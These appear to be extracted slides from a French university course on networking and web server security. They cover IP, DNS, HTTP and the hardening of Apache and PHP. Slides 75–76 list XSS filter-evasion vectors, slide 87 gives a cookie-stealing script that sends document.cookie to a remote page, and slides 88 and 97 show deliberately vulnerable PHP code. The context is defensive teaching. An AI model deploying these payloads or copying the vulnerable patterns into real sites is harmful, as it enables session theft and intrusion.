Télécharger la présentation
La présentation est en train de télécharger. S'il vous plaît, attendez
Publié parMelisent Prevot Modifié depuis plus de 9 années
1
Cours réseau Julien Bourgeois Année Spéciale SRC
IUT Belfort-Montbéliard Bureau recherche Numérica Bureau Enseignement Département R&T Certains transparents de Didier Donsez sur HTTP
2
[Biblio/webo]graphie
www-adele.imag.fr/users/Didier.Donsez/cours/http.pdf
3
Objectifs Votre métier repose sur les technologies réseau
Donner une idée des technologies réseau pour : Avoir un socle commun pour dialoguer avec les autres Comprendre un minimum ce qui se passe au niveau physique Etre capable de se débrouiller pour certaines opérations (Serveur web, DNS, serveur FTP, etc.)
4
Objectifs (1)
5
? Objectifs (2) Que veut-elle comme service ? www.google.com
Où trouver ? ? Que faut-il lui envoyer ?
6
? Objectifs (2) Que veut-elle comme service ? www.google.com
Où trouver ? ? Que faut-il lui envoyer ?
7
Où trouver www.google.com ?
Internet Contient des liaisons WAN (Wide area networks) Le LAN (Local Area Network) ou réseau local
8
( L’adressage IP Toute machine connectée à internet a une adresse IP (Internet Protocol) C’est une adresse composée de 4 chiffres (0-255) séparés par des points Par exemple : Serveur web SRC, Serveur web pôle, Serveur R&T,
9
L’adressage IP (2) Adresse réseau 194 .57 .85 .209 194 .57 .85 .210
Adresse réseau Adresse machine
10
Masque de sous-réseau Comment différencier l’@ réseau de l’@ machine ?
A est associé un masque de sous-réseau (netmask) seule ne suffit donc pas ! Le netmask sert à éliminer machine de IP
11
Masque de sous-réseau (2)
Ces trois adresses ont le même netmask Adresse réseau Adresse machine
12
Masque de sous-réseau (3)
On obtient que réseau, mais à quoi ça sert ? & &
13
Classes d’adresses IP Classe Début Fin Notation CIDR Netmask associé
Classe A /8 Classe B /16 Classe C /24
14
Classes d’adresses IP (2)
Nombre de réseaux Nombre d’adresses par réseau Classe A 128 16,777,214 Classe B 16,384 65,534 Classe C 2,097,152 254
15
Où trouver www.google.com ?
Internet Contient des liaisons WAN (Wide area networks) @IP Le LAN (Local Area Network) ou réseau local @IP
16
Où trouver www.google.com ?
On sait que : Les réseaux sont structurés en LAN/WAN Chaque appareil connecté à internet possède une adresse IP et un netmask Problème : n’est pas une adresse IP…
17
( Le DNS Domain Name System
Protocole de communication Ensemble de serveurs Permet de faire la conversion entre un nom alphabétique et une adresse IP Important notamment quand on créé son site web car on doit référencer son adresse auprès des DNS !
18
Le DNS (2) Host (linux) ou nslookup (windows) affichent la correspondance Démarrer -> Exécuter -> cmd, puis : C:/>nslookup Serveur : tharradin.pu-pm.univ-fcomte.fr Address: Réponse ne faisant pas autorité : Nom : Addresses: , , Aliases: @IP
19
Le DNS (2) L'inverse est aussi possible… … et on l’appelle reverse DNS
C:/>nslookup Serveur : tharradin.pu-pm.univ-fcomte.fr Address: Nom : nf-in-f147.google.com Address: L'inverse est aussi possible… … et on l’appelle reverse DNS
20
Le DNS, format des noms Au début de l'Internet : espace à plat (fichier HOSTS.TXT) taille énorme conflits de noms Actuellement : espace hiérarchique Format des noms : (x1.x2...xN).y.z Avec au minimum 2 mots, et <63 carac. Exemple : google.com, pu-pm.univ-fcomte.fr non sensible à la casse (case insensitive)
21
Le DNS, format des noms (2)
Format des noms : (x1.x2...xN).y.z Valeurs de z : com, org, net, gov, eu, ... : international fr, ro, es, uk, de, ... : par pays vous pouvez donner un nom en .ro à votre site alors qu'il est hébergé en Suisse (et que vous habitez en France) !
22
… Le DNS, les registrars gTLD : Generic Top Level Domain
Noms gTLD ICANN ccTLD Autorité nationale … Registrar (joker.com) Registrar (gandi.net) Registrar (fc-net.fr) gTLD : Generic Top Level Domain ccTLD : Country Code Top Level Domain
23
Le DNS, les registrars Noms gTLD ICANN ccTLD Autorité nationale … Registrar (joker.com) Registrar (gandi.net) Registrar (fc-net.fr) Internet Corporation for Assigned Names and Numbers (ICANN) pour les gTLD AFNIC pour les domaines .fr et .re
24
) Le DNS, les registrars Source www.webhosting.info Rank Registrar
Market Share Total Domains 1 GO DADDY 20.871% 18,559,935 2 ENOM 8.455% 7,518,947 3 NETWORK SOLUTIONS 7.458% 6,631,901 4 TUCOWS 6.563% 5,836,391 5 MELBOURNE IT 5.119% 4,551,823 6 SCHLUND+PARTNER 3.856% 3,428,759 7 REGISTER.COM 3.021% 2,686,328 8 WILD WEST DOMAINS 2.732% 2,429,031 9 MONIKER 2.501% 2,223,701 10 PUBLIC DOMAIN REGISTRY 1.930% 1,716,135 11 DOMAINDOORMAN.COM 1.679% 1,492,807 12 BELGIUMDOMAINS.COM 1.669% 1,484,046 13 CAPITOLDOMAINS.COM 1.660% 1,475,874 14 DIRECTNIC 1.439% 1,279,830 15 KEY-SYSTEMS 1.343% 1,194,699 Source
25
Où trouver www.google.com ?
Internet Contient des liaisons WAN (Wide area networks) @IP = Le LAN (Local Area Network) ou réseau local @IP
26
Où trouver www.google.com ?
On sait que : Les réseaux sont structurés en LAN/WAN Chaque appareil connecté à internet possède une adresse IP et un netmask L’adresse IP de s’obtient en interrogeant le DNS Problème : Où trouver l’adresse sur internet ?
27
Où trouver 64.233.183.99 ? Adresse LAN ou WAN ? C:\>netstat -r
Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut :
28
Où trouver 64.233.183.99 ? Adresse LAN ou WAN ?
C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : Pour y arriver je dois passer par… Si je veux aller là… La prochaine étape est…
29
Où trouver 64.233.183.99 ? Adresse LAN ou WAN ?
C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : Pour y arriver je dois passer par mon loopback Si je veux aller sur ma machine La prochaine étape est mon loopback
30
Où trouver 64.233.183.99 ? Adresse LAN ou WAN ?
C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : Pour y arriver je dois passer par mon interface WiFi Si je veux aller sur mon LAN La prochaine étape est mon routeur interne
31
Où trouver 64.233.183.99 ? Adresse LAN ou WAN ?
C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : Pour y arriver je dois passer par mon interface WiFi Si je veux aller n’importe où ailleurs La prochaine étape est mon routeur externe
32
C’est le sens de la passerelle par défaut !
Où trouver ? Adresse LAN ou WAN ? C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : C’est le sens de la passerelle par défaut !
33
Où trouver www.google.com ?
On sait que : Les réseaux sont structurés en LAN/WAN Chaque appareil connecté à internet possède une adresse IP et un netmask L’adresse IP de s’obtient en interrogeant le DNS L’adresse n’est pas sur notre LAN Problème : Comment trouver son chemin sur internet ?
34
Où trouver www.google.com ?
Internet Contient des liaisons WAN (Wide area networks) @IP = Envoi à @IP
35
Où trouver www.google.com ?
@IP = Routeurs
36
Où trouver www.google.com ?
@IP = @IP ?
37
Routage SRC 26 routeurs Google Source : VisualRoute
38
Où trouver www.google.com ?
@IP = Routage dynamique @IP ?
39
Les couches ISO Codage et décodage du signal
Application Couche 1 : Interfacage avec le support physique Présentation Session Codage et décodage du signal Gestion début et fin des trames Conversion données en signaux Transport Réseau Liaison Physique
40
Les couches ISO Appareil réseau : Concentrateur (Hub)
Application Couche 1 : Interfacage avec le support physique Présentation Session Appareil réseau : Concentrateur (Hub) Renvoie à tous le monde tous les paquets Topologie physique en étoile, topologie logique en bus Transport Réseau Liaison Physique
41
Les couches ISO Medium Access Control
Application Couche 2 : sous-couche MAC Présentation Medium Access Control Conversion des données en trames adaptées au support Gestion des adresses physiques (adresses MAC) Session Transport Réseau MAC Liaison LLC Physique
42
Les couches ISO Medium Access Control
Application Couche 2 : sous-couche MAC Présentation Medium Access Control Conversion des données en trames adaptées au support Gestion des adresses physiques (adresses MAC) Session Transport Réseau MAC Liaison LLC Physique
43
Les couches ISO Appareil réseau : commutateur (switch)
Application Couche 2 : sous-couche LLC Présentation Appareil réseau : commutateur (switch) Utilise les adresses MAC pour router les paquets Session Transport Réseau MAC Liaison LLC Physique
44
Les couches ISO IP (Internet Protocol) Adresse unique pour une machine
Application Couche 3 : Adressage, nommage et routage Présentation IP (Internet Protocol) Adresse unique pour une machine Conversion physique/logique Routage, choix de la destination des paquets Session Transport Réseau Liaison Physique
45
Les couches ISO Appareil réseau : routeur Utilise les adresses réseaux
Application Couche 3 : Adressage, nommage et routage Présentation Appareil réseau : routeur Utilise les adresses réseaux Utilise des protocoles de routage (RIP, OSPF, BGP, etc.) Session Transport Réseau Liaison Physique
46
Les couches ISO TCP (Transport Control Protocol)
Application Couche 4 : Transport TCP (Transport Control Protocol) Reséquencement des paquets Etablissement, maintien et fermeture des liaisons Contrôle de flux et d'erreur UDP (User Datagram Protocol) Mode non-connecté Pas de contrôle de flux, etc. Présentation Session Transport Réseau Liaison Physique
47
Sur un LAN de Google Plusieurs centaines de milliers de serveurs
Choix du serveur par un load-balancer
48
( Culture web Qui est le leader des serveurs web ?
Apache Quelle est sa part de marché en 2007 ? 57% D’où vient son nom ? A patchy serveur
49
Les serveurs web
50
A patchy server (Apache)
Modularité Fiabilité égale aux produits commerciaux (0.53 erreur par 100 lignes de code) Open source (tuning possible) Multi plate-formes Mauvais départ de IIS principal concurrent Performances
51
) Apache : Les modules httpd_core mod_access mod_auth mod_dir
mod_log_config mod_mime
52
Comment communiquer ? ? @IP
53
Comment communiquer ? On sait comment trouver le serveur web
On peut lui envoyer des informations Mais comment lui demander une page web ?
54
HTTP HyperText Transfer Protocol
Protocole basé sur des messages en texte Facilement compréhensible Permet de dialoguer avec un serveur web Stable et éprouvé Historique : HTTP/0.9 : T. Berners-Lee, 1991 RFC 1945 : HTTP/1.0. T. Berners-Lee, R. Fielding, H. Frystyk. 6/1996. RFC 2068 : HTTP/1.1. R. Fielding, J. Gettys, J. Mogul, H. Frystyk, T. Berners-Lee. 1/1997. RFC 2616 : HTTP/1.1. R. Fielding, J. Gettys, J. Mogul, H. Frystyk, L. Masinter, P. Leach, T Berners-Lee. 6/1999. RFC 2817 : Upgrading to TLS Within HTTP/1.1. R. Khare, S. Lawrence. May 2000. RFC 2616bis : HTTP/1.1, 1/2008
55
HTTP N’importe quel outil réseau peut dialoguer en HTTP
Netcat, telnet, … Il suffit de connaître les commandes HTTP … et de savoir déchiffrer les réponses du serveur
56
HTTP : Exemple avec netcat
Commande netcat à taper C:\>nc -v [ ] 80 (http) open GET / HTTP/1.1 Host: HTTP/ OK Date: Tue, 28 Aug :12:33 GMT Server: Apache Last-Modified: Tue, 28 Aug :12:41 GMT ETag: W/"248d6-e6ad-46d3e0cf" Accept-Ranges: bytes Content-Length: Connection: close Content-Type: text/html; charset=iso X-Pad: avoid browser bug <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><head><title>Bienvenue sur Free :)</title> … </body></html> Réponse de netcat Commande HTTP à taper Tapez 2x entrée pour envoyer la commande Réponse au format HTTP de suivi du code HTML de la page demandée
57
HTTP : Les commandes GET GET ou POST PUT, DELETE, LINK, UNLINK HEAD
Récupération d ’un document GET ou POST Soumission d ’un formulaire PUT, DELETE, LINK, UNLINK Envoi de Document et Gestion de Site HEAD Récupération des informations sur le document
58
HTTP : Les commandes (2) OPTIONS TRACE CONNECT
Demande des options de communication disponibles TRACE Retourne le corps de la requête intacte (déboguage) CONNECT
59
Format de requête Du client vers le serveur
<Méthode> <URI> HTTP/<Version> [<Champ d ’entête>: <Valeur>] [<tab><Suite Valeur si >1024>] ligne blanche [corps de la requête pour la méthode POST] Exemple GET / HTTP/1.1 Host: Ligne blanche (tapez 2x entrée)
60
Format de la réponse Du serveur vers le client Exemple
HTTP/<Version> <Status> <Commentaire Status> Content-Type: <Type MIME du contenu> [< Champ d ’entête >: <Valeur>] [<tab><Suite Valeur si >1024>] Ligne blanche Document Exemple HTTP/ OK … Content-Type: text/html; charset=iso <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><head><title>Bienvenue sur Free :)</title> </body></html>
61
Statuts des réponses HTTP
Informationnel 100 : Continue (le client peut envoyer la suite de la requête), ... Succès de la requête client 200: OK, 201: Created, 204 : No Content, ... Redirection de la Requête client 301: Redirection, 302: Found, 304: Not Modified, 305 : Use Proxy, ... Requête client incomplète 400: Bad Request, 401: Unauthorized, 403: Forbidden, 404: Not Found Erreur Serveur 500: Server Error, 501: Not Implemented, 502: Bad Gateway, 503: Out Of Resources (Service Unavailable)
62
Place du serveur web Internet Internet DMZ
Routeur avec filtrage niveau 3 et 4 Firewall avec filtrage applicatif Authentification Filtrage sélectif Détection des intrusions DMZ FTP IDS HTTP AAA
63
Sécurisation d’Apache
Cacher des informations ServerTokens Prod ServerSignature Off Redéfinir une page 404 C’est la base mais la plupart des serveurs ne le font pas !!!!
64
Sécurisation d’Apache
Accès aux répertoires <directory /> order deny,allow deny from all </directory> <directory «/chroot/www/»/> order allow,deny allow from all
65
Sécurisation d’Apache
Exécuter apache avec les bons droits Création d’un groupe et d’un utilisateur apache But : Empêcher (ou retarder…) la propagation d’un exploit
66
Sécurisation d’Apache : chroot
Commande Unix : change root Exécute une commande avec un répertoire racine spécifique But : Emprisonner un programme dans son arborescence
67
chroot : les étapes (à la main)
Création d’une arborescence Vérification des dépendances (ldd) Recopie des librairies Recopie des fichiers de configs et spéciaux
68
chroot : les étapes (automatisées)
Utilisation de debootstrap Permet d’installer une debian de base Evite les recopies fastidueuses Mais prend plus de place !
69
Valider les entrées On se place dans le cas d’utilisateurs ou de programmes mal intentionnés Technique du cheval de Troie Entrée camouflée Lors de l’exécution, prise de contrôle de l’application (affichage d’informations confidentielles, exécution de scripts, …)
70
Valider les entrées Niveau administration des services
Bloquer certaines fonctionnalités Imposer des limites (CPU, mémoire, etc.) Linux PAM : Pluggable Authentication Modules Niveau programmation Filtrage des entrées
71
Valider les entrées Les noms de fichier
Empêcher le changement de répertoire Interdire /, .. ou ~ Empêcher la divulgation d’informations Interdire le globbing (*, ?, [], {}) (ex: ftp) Ex : ftp> ls *../*/../*../ Filtrer les noms de fichiers --, caractères de controle, espace, encodage exotique, <, “, etc.
72
Valider les entrées HTML
Cause majeure de trou de sécurité Possibilité d’HTML sont énormes : Cross-site scripting Javascript … tout autre langage (flash, java, …) Dans les pages HTML, mais surtout dans les mails (pas de sandbox) ! L’utilisateur charge une page sans connaitre son contenu !
73
Valider les entrées HTML
Filtrer les caractères de contrôles des pages HTML Définir une liste de balises sûres… <p>, <b>, <i>, <em>, <strong>, <pre>, <br> … et éliminer les autres <script>, <applet>, <embed>, <bgsound>, …
74
Valider les entrées HTML
Eliminer de manière intelligente : <script> </comment> <!-- --> --> Ou <_a<script> <<script>
75
Valider les entrées HTML
<a href="javascript#[code]"> <div onmouseover="[code]"> <img src="javascript:[code]"> <img dynsrc="javascript:[code]"> [IE] <input type="image" dynsrc="javascript:[code]"> [IE] <bgsound src="javascript:[code]"> [IE] &<script>[code]</script> &{[code]}; [N4] <img src=&{[code]};> [N4] <link rel="stylesheet" href="javascript:[code]"> <iframe src="vbscript:[code]"> [IE] <img src="mocha:[code]"> [N4] <img src="livescript:[code]"> [N4] <a href="about:<script>[code]</script>"> <meta http−equiv="refresh" content="0;url=javascript:[code]"> <body onload="[code]">
76
Valider les entrées HTML
<div style="background−image: url(javascript:[code]);"> <div style="behaviour: url([link to code]);"> [IE] <div style="binding: url([link to code]);"> [Mozilla] <div style="width: expression([code]);"> [IE] <style type="text/javascript">[code]</style> [N4] <object classid="clsid:..." codebase="javascript:[code]"> [IE] <style><!−−</style><script>[code]//−−></script> <!−− −− −−><script>[code]</script><!−− −− −−> <<script>[code]</script> <img src="blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]"> <xml src="javascript:[code]"> <xml id="X"><a><b><script>[code]</script>;</b></a></xml> <div datafld="b" dataformatas="html" datasrc="#X"></div> [\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF−8; IE, Opera] <![CDATA[<!−−]] ><script>[code]//−−></script>
77
Valider les entrées : HTML
Htmlfilter Programme PHP de filtrage
78
Valider les entrées URL : Un lien est-il sûr ?
Phishing (Hameçonnage) Amener l’internaute sur un site web usurpé Soutirer des informations confidentielles En France Fin 2004, condamnation d’un étudiant (1 an de prison et 8500 € d’amende) 40 sites de phishing en France Voir
79
Valider les entrées URL
Un lien est-il sûr ? URI scheme://authority[path][?query][#fragment] Authority :
80
Valider les entrées URL
Exemple : om Interdire les user/password Limiter l’usage de ports exotiques Comme pour HTML, mise en place de filtres !
81
Buffer overflow Dépassement de tampon
Buffer : espace mémoire alloué pour des besoins temporaires Espace mémoire = taille finie Dépassement de cette taille peut permettre de prendre le contrôle de l’application
82
Buffer overflow Risques réels :
Netscape 4 : prise de contrôle à distance Windows NT : longueur des mots de passe Internet Explorer : redirection vers des pages non demandées (distribution de virus, vers, backdoor, etc.)
83
Buffer overflow Pose problème surtout en C/C++
Peu de problèmes en Java Si programmation en C/C++ : Utilisation de librairies spécifiques (libsafe) Utilisation d’outils de compilation spécifiques (StackGuard, ProPolice)
84
Cross-site scripting (XSS)
Génération de code HTML à partir d’entrées utilisateur Exemples : Guestbook Commentaires de sites Etc.
85
Cross-site scripting (XSS)
Un attaquant envoie du code malveillant sur site web Le site web publie ce code Ce code est lu par la victime qui croit être sur un site “sûr” Problème de confiance !
86
Cross-site scripting (XSS)
Source : Chris Shiflett,
87
Cross-site scripting (XSS)
Exemple : Vol de cookie <script> document.location = ' cookies.php' + '?cookies=' + document.cookie </script>
88
Cross-site scripting (XSS)
Exemple : Mais qu’est-ce que ça fait ? <form action="<? echo $PHP_SELF; ?>"> <input type="text" name="message"> <input type="submit"> </form> <? if (!empty($_GET['message'])) { $fp = fopen('./messages.txt', 'a'); fwrite($fp, "{$_GET['message']}<br>"); fclose($fp); } readfile('./messages.txt'); ?>
89
Cross-site scripting (XSS)
Solutions : Filtrer les entrées d’un site Conversion de caractères Appliquer la règle de base de la sécurité : “Tout ce qui n’est pas autorisé est interdit.” Interdire les messages board ? :-)
90
Cross-site scripting (XSS)
htmlentities() : Convertit tous les caractères éligibles en entités HTML strip_tags() : Supprime les balises HTML et PHP d'une chaîne utf8_decode() : Convertit une chaîne UTF-8 en ISO-8859
91
Cross-site scripting (XSS)
<form action="<? echo $PHP_SELF; ?>"> <input type="text" name="message"> <input type="submit"> </form> <? if (!empty($_GET['message'])) { $fp = fopen('./safer.txt', 'a'); $msg = htmlentities($_GET['message']); fwrite($fp, "$msg<br>"); fclose($fp); } readfile('./safer.txt'); ?>
92
Java Langage relativement sûr de base
Sécurité en Java repose essentiellement sur les questions d’héritage
93
Java Enfonçons quelques portes ouvertes ensemble :
Pas de variables en public -> private Pas de méthodes en public -> private pour empêcher la réception de données malveillantes Classes et méthodes doivent être terminales (final)
94
Java Encore : Classes non sérialisables Classes non désérialisables
private final void writeObject(ObjectOutputStream out) throws java.io.IOException { throw new java.io.IOException("Object cannot be serialized"); } Classes non désérialisables private final void readObject(ObjectInputStream in) throw new java.io.IOException("Class cannot be deserialized");
95
PHP Mauvaise image au niveau sécurité
Provient principalement de raisons historiques plus ou moins anciennes Au début (avant 4.1) pas beaucoup de préoccupations sécuritaires PHP est jeune -> 1995 PHP a été créé de manière anarchique
96
PHP et les variables Problèmes dans la gestion des variables
Partage du même espace de nommage de toutes les variables Initialisation par défaut Possibilité de contrôler (lecture et écriture) la valeur de toutes les variables
97
PHP et les variables Exemple : <?php if ($pass == "hello")
$auth = 1; ... ... <- Modification de $auth par un attaquant ! if ($auth == 1) echo "some important information"; ?>
98
PHP et les variables Solution : Utiliser au moins PHP 4.1.0
register_globals Off
99
PHP mutualisé PHP mutualisé (fournisseur d’accès)
Apache en serveur web Différents utilisateurs, différents scripts, mêmes droits ! + simple est d’utiliser le safe mode
100
PHP mutualisé : Safe mode [1]
Quand appel à fopen() : Vérification du propriétaire du script Correspondance propriétaire du fichier Commandes limitées safe_mode_exec_dir Variables environnement safe_mode_allowed_env_vars
101
PHP mutualisé : Safe mode [2]
Modification des variables d’environnement safe_mode_protected_env_vars putenv() modifie uniquement les variables PHP_ Fonctions interdites disable_functions (dl, symlink, virtual, etc.)
102
PHP mutualisé Safe mode : résumé
Nom Par défaut Modifiable safe_mode "0" PHP_INI_SYSTEM safe_mode_gid safe_mode_include_dir NULL safe_mode_exec_dir "" safe_mode_allowed_env_vars PHP_ safe_mode_protected_env_vars LD_LIBRARY_PATH open_basedir disable_functions disable_classes “”
103
PHP mutualisé Détourner le safe mode
Lister l’arborescence des fichiers Fixer un open_basedir
104
PHP mutualisé : suPHP suPHP
Module apache (mod_suphp) Exécutable (suPHP) Permet d’exécuter les scripts PHP avec les droits de l’utilisateur
105
PHP mutualisé : suPHP Plus besoin du safe mode, donc plus de restrictions au niveau du PHP suPHP doit avoir les droits root…
106
PHP mutualisé : autre méthode
Supprimer l’utilisation de certaines commandes dans php.ini avec disable_functions Limiter les droits sur le système de fichier (noexec)
107
https : Sécurisation d’http
http est basé sur des échanges de messages texte en clair Problème lors de l’échange de données sensibles Carte de crédit Mots de passe
108
https : Sécurisation d’http
Utilisation d’un port séparé : 443 Cryptage de tous les échanges avec SSL Utilisation d’une clé de 128bits Proposé par Netscape, en 1996 tentative de contre par Microsoft et STT
109
https : Sécurisation d’http
Installation : Apache Mod_ssl Openssl … et ça marche ! Voir
110
Problème subsidiaire Comment est-ce qu’on connait l’hôte que l’on doit contacter ? Par exemple, dedu.com et bourgeois.com sont hébergés chez Ouvaton Comment est-ce qu’ouvaton affiche la bonne page ? Réponse : dans l’entête HTTP et on passe par des hotes virtuels
Présentations similaires
© 2024 SlidePlayer.fr Inc.
All rights reserved.